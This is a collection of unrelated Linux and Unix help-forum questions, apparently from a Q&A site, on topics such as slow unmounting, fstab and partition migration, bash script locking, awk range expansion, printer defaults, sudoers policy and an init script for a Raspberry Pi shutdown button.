Unmounting HTC device takes forever

Not sure if should post this on Android SE because I don't think this is directly related to the Android OS. On my system I manually `mount` and `umount` my HTC device with these options in `/etc/fstab`:               UUID=3465-3762 /mnt/htc auto gid=100,umask=002,noauto,user,rw,exec 0 0      This works fine when modifying small amounts of data on the SD card, but whenever I copy e.g. a couple of music albums encoded in FLAC from another device - unmounting the SD card seems to take forever:               $ time umount /mnt/htc/     real    1m17.195s     user    0m0.000s     sys     0m0.237s      Is this time proportional to the amount of data modified? Should it take this long to unmount it anyway?


add new language to /usr/share/dict/words

In this directory I have English dict and my language file, but where I can download other language? Or maybe you known other free dictionary? I need to make list of word that are not in the dictionary.


Why would a partition be in use by the system if it isn't mounted?

I've been migrating my system from btrfs to ext4 after running into performance issues with VMs. I have two hard drives in my laptop to work with. I've successfully moved my home partition, but the same steps I used aren't working for root. Progress so far: I've `dd`'d my root partition from `/dev/sda3` into `/dev/sdb3`. I modified `/etc/fstab` to the following:               $ cat /etc/fstab     #      # /etc/fstab: static file system information     #     # <file system> <dir>   <type>  <options>       <dump>  <pass>     # UUID=95f13c34-96ca-49e3-bcb2-ff594df31506     /dev/sdb3               /               btrfs           rw,noatime,ssd,space_cache,discard      0 0          # UUID=0fe04f59-599f-41e2-ac30-2ad0f17a9727     /dev/sda2               /boot           ext2            rw,relatime     0 2          # UUID=44741e0f-924a-4841-80ef-2132bef84182     /dev/sda4               /home           ext4            rw,noatime,discard      0 0      and run `sudo mkinitcpio -p linux`. It seems to work. I'm able to boot by mounting the partition on the second disk. `df` shows:               $ df     Filesystem      Size  Used Avail Use% Mounted on     /dev/sdb3        28G   18G  9.8G  65% /      So, clearly, `sdb3` is mounted, not `sda3`. Here's the problematic step: When I try to format `sda3`, which is supposedly unused, I get the following:               $ sudo mkfs.ext4 /dev/sda3     [sudo] password for stew:      mke2fs 1.42.11 (09-Jul-2014)     /dev/sda3 contains a btrfs file system     Proceed anyway? (y,n) y     /dev/sda3 is apparently in use by the system; will not make a filesystem here!      `sda3` is in use. How and why could it possibly be in use? ### As per casey's comment, the output of mount:               mount | grep sd     /dev/sdb3 on / type btrfs (rw,noatime,ssd,discard,space_cache)     /dev/sda4 on /home type ext4 (rw,noatime,discard,data=ordered)     /dev/sda2 on /boot type ext2 (rw,relatime)      ### As per Warwick's comment, unmounting:               $ sudo umount /dev/sda3     umount: /dev/sda3: not mounted      Mounting and umounting sda3 elsewhere works successfully, but changes nothing. ### Update: More fishy behavior:               $ mount | grep sd     /dev/sdb3 on / type btrfs (rw,noatime,ssd,discard,space_cache)     /dev/sda4 on /home type ext4 (rw,noatime,discard,data=ordered)     /dev/sda2 on /boot type ext2 (rw,relatime)     $ sudo mount /dev/sda3 mnt     [sudo] password for stew:      $ mount | grep sd     /dev/sda3 on / type btrfs (rw,noatime,ssd,discard,space_cache)     /dev/sda4 on /home type ext4 (rw,noatime,discard,data=ordered)     /dev/sda2 on /boot type ext2 (rw,relatime)     /dev/sda3 on /home/stew/mnt type btrfs (rw,relatime,ssd,discard,space_cache)      After mounting sda3, sdb3 is no longer mounter. Weird, huh? ### As per mikeserv:               $ rmmod btrfs     rmmod: ERROR: Module btrfs is in use      This is very much expected, since sdb3 is btrfs and supposed to be mounted to root. From my mkinitcpio.conf file:               MODULES=""     HOOKS="base udev autodetect modconf block filesystems keyboard fsck"


Youtube Videos become Choppy When Maximised [Ubuntu Maverick]

I just installed 32-bit Ubuntu Maverick 10 Stable everything is working fine, The system spec's are as below: 3 Ghz Intel DG101 512 MB RAM 80 GB HDD 256 MB Ati Radeon Xpress the only problem is when the Youtube videos are maximized they consume allot of CPU plus video bacomes slower and choppy..... What to do? I have FireFox and installed the FlashPlayer 10 also. But no luck...Any Ideas how to fix? The videos work absolutely good in XP in same computer..... I have tried Google Chrome also but no luck in that also.... Any answer 'll be appreciated.


Disabling sentbox in postfix over Squirrelmail

I have installed **POSTFIX** over `Squirrelmail` on CentOS Linux... The services I have ran are:               service httpd     service ssl     service mysql     service postfix     service saslauthd     service dovecot      But I want to know : How can I send mail but nothing go to my sentbox?


How do I make sure that a script is run exclusively?

So I have a bash scripts that does some things (pull from github, delete folders .. etc ..) pretty basic stuff. I usually run it whenever I need a new version of the web app on the server. The thing is there isn't anything that stopping this script from running simultaneously by different people (almost all developers connect to this server and they execute the same command). So far, it didn't happen that the script is run by more than 1 developer at a time. How do I make sure that this script cannot be run if it's already running by another user? Folder locking or checking if the script is running by another user (is this doable?) something else? All users that can run this script are sudoers. EDIT: Well after checking my colleagues turns out that not all of them are using the script .. some of them are executing the commands by hand so I need to lock the folder itself.


lockfile-progs utilities usage

**There isanother question that is related, but it is actually different, because I'm asking why the behavior of lockfile-create & lockfile-touch is different to the current contents of the manual page.** I have this script to learn and understand the lockfile-progs utilities. I've tested it and works good. But, I find the lines related to lockfile-touch unnecessary. My script only needs to launch one xterm instance on one machine per user. I will do the right thing removing the lockfile-touch lines? Someone knows if I will have some trouble with the modified script?               #!/bin/bash          function atexit {         kill $LOCKFILE_TOUCH_PID         lockfile-remove $DOTLOCK_FILENAME         echo atexit!         exit     }          DOTLOCK_FILENAME=/tmp/xterm-one-instance-$UID     lockfile-create --retry 0 --use-pid $DOTLOCK_FILENAME || exit          lockfile-touch $DOTLOCK_FILENAME & LOCKFILE_TOUCH_PID=$!     echo lockfile-touch running, PID=$LOCKFILE_TOUCH_PID          trap atexit EXIT HUP INT TERM     xterm      My modified script:               #!/bin/bash          function atexit {         lockfile-remove $DOTLOCK_FILENAME         echo atexit!         exit     }          DOTLOCK_FILENAME=/tmp/xterm-one-instance-$UID     lockfile-create --retry 0 --use-pid $DOTLOCK_FILENAME || exit          trap atexit EXIT HUP INT TERM     xterm      still prevents another xterm instance after 5m 33s. I found this behavior confusing after reading in the manual page that I need touch the lock file every five minutes.


Extend Linux partition in Dual boot with Windows without losing data?

I've the following partitions on my hard drive (copied from Gparted): ![](http://i.stack.imgur.com/6thI1.png) As you can see:   * **ext4 Linux HOME** partition   * THEN ==> **windows (8.1) ntfs** partition    * THEN ==> **178 GB of UNUSED space** (I got it by resizing **from the end** ntfs partition) The problem here is that it seems **I can't free space BEFORE ntfs partition** to make free space to **extend ext4 home partition** because this would mean moving ntfs start sector, i.e. , (maybe?) corrupt Windows boot. Any suggestion? How should I do to pass from the situation shown in the image above to ext4 partition with about 100 GB space?


Debian - Docky compiz settings?

I really like Docky and I wanted that genie 'magic lamp' effect. So I Googled it and it said I needed Compiz settings and to install it I did               $ sudo apt-get install compizconfig-settings-manager      it wasn't found so I did some more researching and I can't find it. The closest thing I can find to something compiz was compiz-fusion something. I tried it and it was not it. So does anybody know where I can get this package? I'm running Crunchbang.


Embedded Linux Power Failure Issues

Many routers run a Linux OS and abrupt power failure can happen. Considering this - how do they handle the possibility of file system corruption caused by a power failure? If they make the system read only, how are you able to change settings?


Debian 6 installation DVD required

I just want to install the operating system and SSH printserver . I just burned the first DVD of the 8 avaible for the amd64 architecture. How many DVDs should i burn in order the operating system to install ? Note: Connection is slow as hell that is why i choose DVD solution


awk expand window to 500% for two numbers from column file

I've got a file with two columns corresponding to start-end ranges like this:               awk '{print $2"-"$3}' file.txt     91082802-91082990     94018177-94018321     146945732-146945949     88701397-88701594     80922510-80922643     28800551-28800680     23612818-23613016     69178478-69178630     107524531-107524669     73153734-73154149     [...]      I would like to expand the start-end ranges to up to 500%, except if the range goes beyond a certain value, N=1000. If the start-end range is already above N=1000, I want to rewrite the start-end to a n=1000 window around the centre. How can I do that with an awk/bash one-liner?


How to set MSS manually for IPv6 in Linux?

Suppose I have a networking problem and try to debug it by setting the MSS manually to ex.: 1392. How can I achieve this permanently? I have a native IPv6 address. OS is Debian/CentOS


How to correctly integrate FreeRadius and eDirectory for eduroam?

Does anyone have any experience implementing `eduroam` and integrating `Free- Radius` and `eDirectory`? If yes pleas share your experience on how to correctly configure both. Also, do I have to retrieve `edirectory` universal user password in clear text, in order to make it compatible with **EAP-PEAP MSCHAP2** and **EAP-TTLS MSCHAP2**? I've looked up numerous forums and wikis, but would like to hear from someone's personal experience.


How to start line with command from output of another command

Sometimes the output of some command include other commands. And I'd like to start that command from output without using a mouse. For example, when command is not installed there is a message with line for installing this command:               $ htop     The program 'htop' is currently not installed. You can install it by typing:     sudo apt-get install htop      So. There I'd like to type a command, that will start the command from last line from output of `htop`. How it can be done? _**Edit:_** I'll try show what I mean. There are two lines in "output" of command `htop` (actually, it's an error message). Second line of this message is the command `sudo apt-get install htop`. So I'd like to extract second line from output, and start it's like command itself. The following is a rubbish but it shows what I mean:               htop | tail -1 | xargs start_command


Improving OpenOffice speed

I'm looking for some tips and tricks on how to improve the performance of OpenOffice on my desktop. Any ideas, tutorials or articles on this? Thanks in advance!


AMD Drivers make Linux Mint 17 Cinnamon crash

I just installed Linux Mint 17 Cinnamon on my Samsung Series 5 netbook (dual boot with Windows 8.1, which I reinstalled myself). The first boot worked fine but I then installed the package `fglrx-uptades` for my **AMD Radeon HD 8750M**. And finally I installed the **AMD Drivers and the Catalyst Control Center** software. Upon rebooting, the X Server didn't start and I can only use the console mode. I removed the `fglrx-uptades` package with apt-get, but I don't know how I could remove the AMD Drivers. Can you please help me restarting my X Server ?


How to search text throughout entire file system?

Assuming that the grep tool should be used, I'd like to search for the text string "800x600" throughout the entire file system. I tried:               grep -r 800x600 /      but it doesn't work. What I believe my command should do is grep recursively through all files/folders under root for the text "800x600" and list the search results. What am I doing wrong?


"Clean" Filesystem Hierarchy

The Linux filesystem hierarchy is full of unused folders that only exist for historical reasons. Do any distros install with only the directories that are actually used?


How to effectively use bash scripting (different cost reductive ways and good habits)?

This is one of the most perennially important questions. How to effectively script ? What are the bad ways and what are the good ways ? I know of some, which i will point out here. If anybody does know of something else, kindly do leave a comment for the same. This question has been asked to know about the best practices available. It's very difficult to google everything and always all the things do not appear in the same place. Hence, this question has been asked to all of you experienced guys. I am myself trying to learn these things. Hence, i think any comments/answers that you guys provide here will be very helpful for me and people like me. Thanks in advance .


Encountering this error /usr/bin/ld: final link failed: No space left on device

**/usr/bin/ld: final link failed: No space left on device** is the error coming when I'm trying to complie Open Source code project I have about 7GB free space over the Disk so I think that cannot be the cause of the issue. I have read some where, that if source file is too big the linker error like this can be encountered; this can be true because source file is really huge. If the linker is giving an error due to file size then what can be done to solve the problem.


Typing in Chromium's/Chrome's Omnibox crashes browser

Very often, when I type something in Omnibox (address-bar), Chromium/Chrome crashes. W/ crash I mean that it freezes and refuses to any signals (mouse, keyboard etc.). This is what got printed out to terminal (if browser is spawned through it):               Failed to open VDPAU backend libvdpau_nvidia.so: cannot open shared object file: No such file or directory      I'm using Arch Linux and all system is up to date. Also, I'm dealing w/ this problem for like few weeks now... so it can't be tempory bug in any package because I have upgraded browser and other related packages too. Also, I have tried to downgrade packages as well — it sadly doesn't help. On system w/ almost the same configuration all works and browser has never crashed even once. I'm using Awesome WM, if it matters somehow, but problem persisted also when I was using Xmonad. It seems that Firefox works, but I would like to keep using Chromium or Chrome. P.S. If any other logs are needed, please tell me in the comments and I will update the question.


How can I run a separate X session on a different physical display?

Here's what I need to do. I need to be playing a movie over HDMI to a television screen for my friends while I'm hacking on some personal projects over VGA to a smaller monitor. It's imperative that the screens be separate, as I have a work monitor application running on the VGA screen which will be taking screenshots at random and it'd be nice to not have the screenshots be half Megamind and half Eclipse. I've heard that you can run a different X session on each screen, but I don't know how to do it. Essentially, I need VLC in fullscreen on one screen and my full desktop environment on the other. I'm running Linux Mint 11 (Ubuntu 11.04) 64bit. Is there a way to do this? If so, could I make it so I could switch the X session my mouse is associated with in order to control the movie?


How should I search for packages to install on CentOS 5.5?

_**Backstory:_** Recently, it was explained to me that to upgrade any package via terminal on a linux machine, I will need to use the distributions package management system to install or upgrade the package. Since I use CentOS, which is a RHEL variant, the rpm command will need to be executed in terminal to accomplish this (I believe so). Therefore if I need to upgrade or install a package I will first use the wget command to download the package and then the rpm command to install it. The process is clear till here! _**The actual question:_** However, to use the wget command to download the package, I will need a url that points to the package. How should I find this url? My personal research has shown that there are sites like rpm.pbone.net (the only one I know off) to search for these packages. A search for 'firefox' (selecting search for rpms by name) as the keyword has given results for a whole lot of distributions. CentOS 5 is listed on page 3 but the latest version seems to be 3.6.18. Given that version 5.0.2 is available for Fedora (another RHEL variant), where is the latest version of firefox for CentOS? I am unsure which package should I download to upgrade firefox. _**Plea:_** It'll be great if someone can point out how should I go about searching for packages to install on CentOS. Is there an official site for CentOS packages similar to rpm.pbone.net (which I believe is unofficial). I am currently, just for practice, searching for the mozilla firefox and vlc's latest releases.


Running mame on Linux

I tried to install `mame` on Linux, and the icons appear inside the game folder (`xmame`, `xmame.sdl`, `xmame.x11`) but none of them would run. What is the problem? * * * **Edit** : It says they are read-only, but I cannot change permissions, it says, because I am not the owner. So what should I do? Run sudo command?


How do I find the X window ID under the mouse pointer in bash?

From a bash script, is there some way to get the ID of the X window under the mouse pointer? (edit) I need the process to be non-interactive.


How is whonix blocking UDP traffic (except udp-dns related traffic)?

I want to know how whonix manages to block unwanted UDP-Traffic i.e. all UDP- traffic but DNS related udp traffic. I looked at the iptable rules both in the Workstation and Gateway. There are no iptable rules in the Workstation. So the Workstation doesn't seem to block UDP-Traffic. However, there are many ip- table rules in the Gateway. I went through the iptable rules of the Gateway one-by-one but I couldn't find any udp-related blocking rule either. So, how is this udp-traffic blocked?


Automatic transformation of newlines in shell variable assignment

This came out of one of my comments to this question regarding the use of `bc` in shell scripting. `bc` puts line breaks in large numbers, e.g.:               > num=$(echo 6^6^3 | bc)     > echo $num     12041208676482351082020900568572834033367326934574532243581212211450\ 20555710636789704085475234591191603986789604949502079328192358826561\ 895781636115334656050057189523456      But notice they aren't really line breaks in the variable -- or at least there are not if it is used unquoted. For example, in fooling around with more pipe in the assignment, e.g.:               num=$(echo 6^6^3 | bc | perl -pne 's/\\\n//g')      I realized that while there really is an `\n` in the `bc` output, checking `echo $num > tmp.txt` with `hexdump` shows the `\n` (ASCII 10) has definitely become a space (ASCII 32) in the variable assignment. Or at least, in the output of unquoted `$num >`. **Why is that?** As fedorqui points out, if you use quotes: `echo "$num"`, you get newlines again. This is evident by examining the difference between `echo $num > tmp.1` and `echo "$num" > tmp.2` with hexdump; the former contains `\` (backslash space) whereas the later contains `\\\n` (backslash newline).


How to wait for a subprocess used for I/O redirection?

Consider the following snippet of Bash script:               exec 3> >(sleep 1; echo "$BASHPID: here")     do-something-interesting     exec 3>&-     wait $!     echo "$BASHPID: there"      When executed, it produces:               a.sh: line 4: wait: pid 1001 is not a child of this shell     1000: there     1001: here      How can I modify the `wait` line so that it actually waits for the termination of `1001`? In other words, I can I change the script so that the output becomes:               1001: here     1000: there


Creating a Safe Web Server

Web server hosts multiple websites. Multiple users update each website. ` User home directory   /home/user1   /home/user2` ` Web directory   /var/www/site1   /var/www/site2` Each user uses SFTP to upload files to their home directory.   Each user is chrooted to their home directory.   Each user has the /var/www directory mounted in their home directory.   `mount --bind /var/www/ /home/user1/   mount --bind /var/www/ /home/user2/` With 2 users, this isn't a problem but these teams will grow quickly. Each time a search is conducted, a file could appear in multiple places. SCM using .git would be the preferred method but is not possible for various reasons. **Is this the correct approach (mount --bind) since SFTP needs to be used?** Are there other security measures to take?


Has the Unix Philosophy been abandoned in web application design?

The Unix Philosophy encourages the use of small, generically reusable cooperating programs that collaborate with forms of inter-process communication like pipes, fifos, sockets, as opposed to shared memory space and linkage. The programs MH and uzbl are often given as examples of applications that exemplify the Unix Philosophy in their design. If this is the case, isn't true that Unix Philosophy has been totally abandoned in the design of web applications? Almost all web applications that process requests are now built as single large monolithic long-running processes that handle the whole request/response cycle (aside from calls to an external database program) not only for one resource, but all resources across a whole domain. Is this primarily because piping out to a collection of external programs to construct a dynamic response to a web request has too much process startup- time overhead? I can see how this is the case if you want to pipe out to Ruby or Python scripts, but perhaps if you use a language like Haskell which you can compile, any real obstacles to following the Unix Philosophy in building web apps go away?


ssh to different server based on user?

Is there a simple way to have my router forward ssh logins for certain user names to a different server on my internal network? For example, ssh router@url would log me in as router on the router and ssh steve@url would log me in as steve on the server. Also, this needs to be a server side solution because I want it to be simple and easy to use.


networkmanager with gnome 3.6.2 in Arch Linux

Every `networkmanager` I've tried is "incompatible with this version" in gnome's settings panel. I can still connect from command line fine, but that's just kind of a pain. **Solutions I have tried:**   * `pacman -Syu networkmanager` installed everything fine, but didn't solve the problem.   * `pacman -S gnome-extra` installed everything fine, but didn't solve the problem.   * `pacman -S gnome-network-manager`: pacman says "package not found" (the package is outdated according to wiki)   * `pacman -S network-manager-applet` installed everything fine, but didn't solve the problem. The arch wiki says `network-manager-applet` should suffice for gnome, but the GUI won't support it, which is inconvenient. Any help is appreciated.


How is it possible to sort ps command's CPU field?

I'm trying to make a small command that will find the processes that use the most CPU power. Firstly, I use `ps aux > file.txt` and then `cut -c 16-20 file.txt | sort -n | tail -5`. The result I get is this:               1.0      2.7     8.     14.5     14.5       So my question is how can I have both the `%CPU` usage and the other fields outputted together?


vdsm service won't start

I am currently evaluating Red Hat Enterprise Virtualization and have managed to set up the management server and the bare metal hypervisor. Now I'm trying to add a regular box running RHEL server 6.5 to the data center as a host. The add new host process starts fine and installs all the packages successfully. But after a certain time it fails saying network communication failure. From `/var/log/ovirt-engine/engine.log` I figured out this was caused by `vdsmd` service not restarting properly on the target. And indeed when I manually try to start the service at the host itself, it fails.               # service vdsmd status     VDS daemon is not running, and its watchdog is running     # service vdsmd start     vdsm: already running                                      [  OK  ]     vdsm start                                                 [  OK  ]     # service vdsmd status     VDS daemon is not running, and its watchdog is running      The log has the following error:               Jul  8 16:34:46  respawn: slave '/usr/share/vdsm/vdsm --pidfile /var/run/vdsm/vdsmd.pid' died too quickly, respawning slave     Jul  8 16:34:47 python: vdsm user could not manage to run sudo operation: (stderr: ['sudo: sorry, you must have a tty to run sudo']). Verify sudoer rules configuration      I tried commenting out and removing the "Defaults requiretty" line in `/etc/sudoers` file, but I keep getting the same error. As i'm evaluating RHEV, I am not entitled to Red Hat support and have to fix it myself. Any ideas on what to do ?


Archlinux ARM Rasperry Pi login buffer display and decryption fail

I have put the Archlinux Arm on my SD card and the first time I have done this it was all correct and worked well but I had to "reinstall" everything for several reason. So now I am doing the same steps as before but I getting a weird "problems". When I first started everything seems normal than I update the system and install "sudo mkinitcpio rsync". When I now reboot it and see the login screen it looks like this:               alarmpi login: [    14.9646851 smsc95xx 1-1.1:1 eth0 link up, 100Mbps, full-dupley, lpa 0x41E1      And I have to first press Enter to login and when I wait a bit some new lines appear they look like the following one:               [   602.262297] bcm2708_fb_blank blank_mode=1      I want to encrypt a part of my SD card and I have followed this https://gist.github.com/pezz/5310082 instructions which worked the first time just fine, as I am having a German keboard I need to use "keyboard keymap encrypt" in the mkinitcpio.conf file, but I have not able to decrypt it, it is always returned that there is no such key, although I am preatty sure I am doing the same steps as before when it has worked quite well and nicely. So, I have made a test, I have used the word "root" as my keyphase for my encryption. This works and I can boot but if I am using the following key: "Xö&(4n=%YF3Ü!BN" it does not work. Could anybody give me a hint why? Are there any characheters I am not allowed to use, although I am using the German keyboard layout de-latin1 an I do load keymap after keyboard, so the needed keyboardmaps should be loaded correctly, although it should have worked I have tested this with the keyphrase "y" which was on the right place as y and z poition are exchanged on US and Germany keyboard layouts. Also when I need to open the encrypted volume after I have created it the key works. I am looking forward to hear from you. :-) King regards, Greeneco


How does sudo decide whether a command is only executable by sudoers with ALL rights?

I just wondered why on a Debian system with sudo installed a default user can execute `ls` but not `ifconfig` since the binaries do have the same rights:               -rwxr-xr-x 1 root root 114032 Jan 26  2013 /bin/ls     -rwxr-xr-x 1 root root 72296 Sep  7  2012 /sbin/ifconfig      So I suppose there must be some kind of database or policy that tells the system who's allowed to execute a command and who is not, but where do I find it? It can't be `/etc/sudoers` since in that file one only defines who is a root sudoer and who is not just like that:               %admin  ALL=(ALL)   ALL     john ALL=/usr/sbin/useradd, /usr/sbin/userdel, /usr/bin/passwd      So `john` wouldn't be able to execute `/sbin/ifconfig`, but how does the system know he's not allowed?


Equivalent of memmove on files: copy a range of bytes to an earlier position

What is an equivalent of memmove on files with the same input and output file, which works with large files? `dd` works when I move the file contents towards the right, but not if I move the contents left, since there's no handling of overlap. `ddrescue` has a reverse copy, but refuses to work on the same input & output file.


Buffer each line locally on a serial terminal

I use kermit to connect to a device over serial. The device is quite "dumb" and doesn't have any fancy shell. It is really just receiving commands over serial and sending outputs back over serial. The problem is I make a type every other word, and I have no way to backspace, so I simply have to start over again. Is there some way I can get kermit (or equivalent) to buffer each line locally for editing before sending it down the line when I press enter, so that I can backspace if I need to?


Unable to change the default printer

When I use the command               $ sudo lpoptions -d Deskjet-F300-series      it won't change the default printer.               $ lpstat -a     Deskjet-F300-series accepting requests since Sun 10 Apr 2011 11:02:12 AM CEST     Deskjet-F4200-series accepting requests since Mon 04 Apr 2011 03:39:17 PM CEST     Deskjet_F4200 accepting requests since Mon 04 Apr 2011 03:39:17 PM CEST     HP_Deskjet_F4200_series accepting requests since Mon 04 Apr 2011 03:39:17 PM CEST          $ lpstat -d     system default destination: HP_Deskjet_F4200_series          $ lpstat -p     printer Deskjet-F300-series is idle.  enabled since Sun 10 Apr 2011 11:02:12 AM CEST         Printer is now online.     printer Deskjet-F4200-series disabled since Mon 04 Apr 2011 03:39:17 PM CEST -         Unplugged or turned off     printer Deskjet_F4200 disabled since Mon 04 Apr 2011 03:39:17 PM CEST -         Unplugged or turned off     printer HP_Deskjet_F4200_series disabled since Mon 04 Apr 2011 03:39:17 PM CEST -         Unplugged or turned off      Do you know where is the fault? Thank you


Can't install 32 bit gstreamer-ffmpeg normally, library can't find other 32 bit libs

I'm on Ubuntu 12.04 64 bits and I'm trying to get a game (GTA SA) working in wine, but it keeps crashing. After reading error logs it seems I needed some 32 bit versions of gstreamer, probably to play the intro video. I already have `ia32-libs`, because I read somewhere I will need that in order to run 32 bit software. I first tried:               sudo apt-get install gstreamer0.10-ffmpeg:i386      Which returns:                gstreamer0.10-ffmpeg:i386 : Depends: libavcodec53:i386 (>= 4:0.7.3-1) but it is not going to be installed or                                           libavcodec-extra-53:i386 (>= 4:0.7.3-1) but it is not going to be installed      And it also depends on libavformat, libpostproc and libswscale with about the same error. So I kept searching and found a nice tool, getlibs, which allows you to install 32 bit libraries. I think it just places them in the `/usr/lib32` directory, which probably isn't the best way to do this, but I tried it anyway. So I installed the 32 bit libraries with getlibs which wine was complaining about. Now I got different errors, basically the 32 bit library is referencing other libraries which it now can't find. For example one of the errors says:               Failed to load plugin '/usr/lib32/gstreamer-0.10/libgstffmpeg.so': libavformat.so.53: cannot open shared object file: No such file or directory      So my initial thought was correct, since it now uses the 32 bit version. Now I was trying to figure it out with ldd to see where the library references other libraries:               # This one is fine     ldd /usr/lib/gstreamer-0.10/libgstffmpeg.so | grep avformat     libavformat.so.53 => /usr/lib/x86_64-linux-gnu/libavformat.so.53 (0x00007f8314181000)          # This one isn't     ldd /usr/lib32/gstreamer-0.10/libgstffmpeg.so | grep avformat     libavformat.so.53 => not found      So indeed, libgstffmpeg.so can't find the correct libavformat.so. I tried installing the 32 bit version of libavformat with getlibs again, which placed it in `/usr/lib32/i386-linux-gnu/libavformat.so`. But ldd still tells me it can't find libavformat. Then I tried to make a symbolic link in the same directory but named it `libavformat.so.53` and even made a symlink to `/usr/lib/i386-linux-gnu/libavformat.so.53', but both give me the same error. Now I am sure this really isn't the correct way to go, but I didn't know the right way to do it. So what is the correct way to do this, or does gstreamer0.10-ffmpeg simply doesn't have 32 bit or multilib support? And how can I find out what the directory is, where libgstffmpeg (or any library I guess) checks for it's 32 bit libs it is referencing?


How can I switch one user to another in Freebsd? For examples, I am user david now and I want to change to user Bob. This is a personal OS for my study. not a server. I searched it, but only got sites about how to create new user. Thank you.


Does research unix have any binary editor?

I cannot find any binary editor in v7 unix by reading volumn 1 of the manual. Is there any?


How do I execute a script later?

I need to compile gcc45 on my computer and that's a lengthy and resource- intensive process for my computer, so I'd prefer to have it do it while I sleep (at night). What's the closest thing to:               $ @2300 sudo port install gcc45


How to create shell script command so that it will self-detruct after performing it's task?

I want to make command run in Ubuntu 13.10 as soon as I login. I know for that I have to add certain command in `~/.profile` file. That's not the problem. I want to certain line of that `~/.profile` file to be deleted and to be restored in it's original state. I want to perform that task just one time, so any help regarding that issue would be appreciated. ### EDIT #1 I'm attempting to run `sudo startx` as soon as I login. I've found that using that command gives me a GUI temporarily. But, to open some file with a GUI, I need to use `gnome-open <file path>`.


Is it a bad idea to not have a swap partition on an embedded linux setup?

I have a small embedded linux kernel and file system created via buildroot that is installed onto a compact flash drive running on an x86 board. I am using an initramfs (due to power loss concerns) but mounting a small number of directories on ext3 partitions on the CF drive for data that has to be persistent. However, recently I have been reading about swap partitions and their uses and as my current setup does not employ a swap partition at all. I am wondering if this is safe? I do not anticipate that the applications running on the device will be using a great deal of memory but is it better to create a swap partition regardless? I am very conscious of the limited writes that can be made to CF devices so if it is not vital then I would prefer not to use a swap partition. What would be the worst case scenario if I go ahead without a swap partition?


Load average per process or user

is it possible to obtain load average values (as displayed by `uptime`) individually per process or user. I would like to be able to see what user is causing what load. `top` is not really suitable because it only displays instantaneous values. Any ideas?


Copy files excluding x,y,z causing error in shell script

I'm not well versed in shell scripting but I imagine this to be a painfully easy fix but its eluding me. I need to copy the contents of a directory excluding a number of files. I have a command that works when I enter it into the terminal, but when its run in a shell script it fails with a syntax error or just doesn't work. The command in question is:               cp -r path/to/!(dir1|dir2|dir3) destination      Any help would be greatly appreciated!


Switching from LMDE to debian testing + LMDE

I currently have LMDE UP8 with cinnamon installed. I want to add debian testing repos for all my packages but I still want to keep LMDE repos for specific packages like cinnamon, firefox, flashplayer, etc. My `/etc/apt/sources.list` is blank. `/etc/apt/preferences.d/official-package-repositories.pref`               Package: *     Pin: release o=linuxmint     Pin-Priority: 700          Package: *     Pin: origin packages.linuxmint.com     Pin-Priority: 700          Package: *     Pin: release o=Ubuntu     Pin-Priority: 500      How can I add debian testing repos?


Fluxbox, bbkeys and java

I have installed `bbkeys` so I could choose a window when `ALT-TAB`ed, but the java applications are not amoung the selectable. Is there anything special that needs to be done for a java app to be amoung the selectable applications?


Is there an easy way to log all commands executed, including command line arguments?

I am trying to find how to log a specific instantiation of `rrdtool` to see whether the path it is receiving is incorrect. I know I could wrap the executable in a shell script that would log the parameters, but I was wondering if there was a more kernel-specific way to monitor for that, perhaps a filesystem callback that sees when a particular /proc/pid/exe matches a given binary?


How do I run a script just before halt using LSB headers on Raspbian

I'm building a shutdown button for my Raspberry pi, and for that I have a python script that needs to change a GPIO pin on my Raspberry Pi just before the system runs the halt script. Now Raspbian uses LSB headers to determine the order in which scripts are run at shutdown, but I can't for the life of me figure out what to put in the header so that the script will run AFTER everything except /etc/init.d/halt has run. The problem right now is that the script runs too soon (it always installs at K01xx), thus cutting the power before all other services have shut down properly. I tried setting a custom priority as described in the guide here: http://www.debuntu.org/how-to-managing-services-with-update-rc-d/, but that does nothing as the command just says "using dependency based boot sequencing", with the end result being the same as before. I tried manually renaming the K01xx script in /etc/rc0.d to K09xx, so that it would be the last one before the halt command in the directory. But that had no effect either. Any suggestions? My init.d script:               #! /bin/sh     ### BEGIN INIT INFO     # Provides:          shutdown     # Required-Start:         # Required-Stop:     # Default-Start: 2 3 4 5     # Default-Stop: 0     # Short-Description: Detect shutdown button     ### END INIT INFO               PATH=/sbin:/usr/sbin:/bin:/usr/bin          . /lib/init/vars.sh     . /lib/lsb/init-functions          do_start() {         if [ -x /home/pi/bin/shutdown.py ]; then                 [ "$VERBOSE" != no ] && log_begin_msg "Starting listening for shutdown button"             python /home/pi/bin/shutdown.py &             ES=$?             [ "$VERBOSE" != no ] && log_end_msg $ES             return $ES         fi     }          do_stop() {         if [ -x /home/pi/bin/shutdown_pin.py ]; then             [ "$VERBOSE" != no ] && log_begin_msg "Lowering pin for complete shutdown"             python /home/pi/bin/shutdown_pin.py             ES=$?             [ "$VERBOSE" != no ] && log_end_msg $ES         fi     }          case "$1" in         start)         do_start             ;;         restart|reload|force-reload)             echo "Error: argument '$1' not supported" >&2             exit 3             ;;         stop)         do_stop             ;;         *)             echo "Usage: $0 start|stop" >&2             exit 3             ;;     esac


How do I set default font for all Qt5 applications?

In Qt4, there used to be a tool called qtconfig that allowed you to set the fonts and other stuff. It also picked up the settings from KDE4's control panel. I'm working with Qt5 now (binary distribution downloaded from qt-project.org), but the default font in all Qt5 applications is too small for me. Is there any way I can increase it to match the rest of the desktop? My default Qt5 style is Fusion. I tried playing with ~/.config/QtProject.conf (copying the Qt4 settings there), but it didn't help. I'm using openSUSE 12.2 x86-64.


contents of xp cd is not visible

I'm using Ubuntu 13.04. I want to take an ISO copy of XP installation CD but when I insert CD it's seen as empty CD. Is there any way to access the content of CD?


Starting with bash: -lt and -gt arguments

I'm starting with bash and I found the following:               if test $first -lt $second     then       echo $first is lower than $second     else       if test $first -gt $second       then         echo $first is higher than $second       else         echo $first and $second are equals       fi     fi      For reading the script and executing it, I know what it does, but not what -lt and -gt are for. Can somebody tell me what is the name of that kind of 'tool' and what they(-lt and -gt) do? Thanks!


Why am I getting apparmor error messages in the syslog about NTP and LDAP?

On my newly installed Ubuntu 12.04 machine, with `ntp` and `slapd` installed, the following messages appear in `/var/log/syslog` at regular intervals:               Feb 23 18:54:07 my-host kernel: [   24.610703] type=1400 audit(1393181647.872:15): apparmor="DENIED" operation="open" parent=1 profile="/usr/sbin/ntpd" name="/etc/ldap/ldap.conf" pid=1526 comm="ntpd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0      I've searched, but can't find any info on what may be causing these messages and how to fix the problem. Can anyone shed any light on what's causing this and what to do about it?


VMD X11 session over ssh

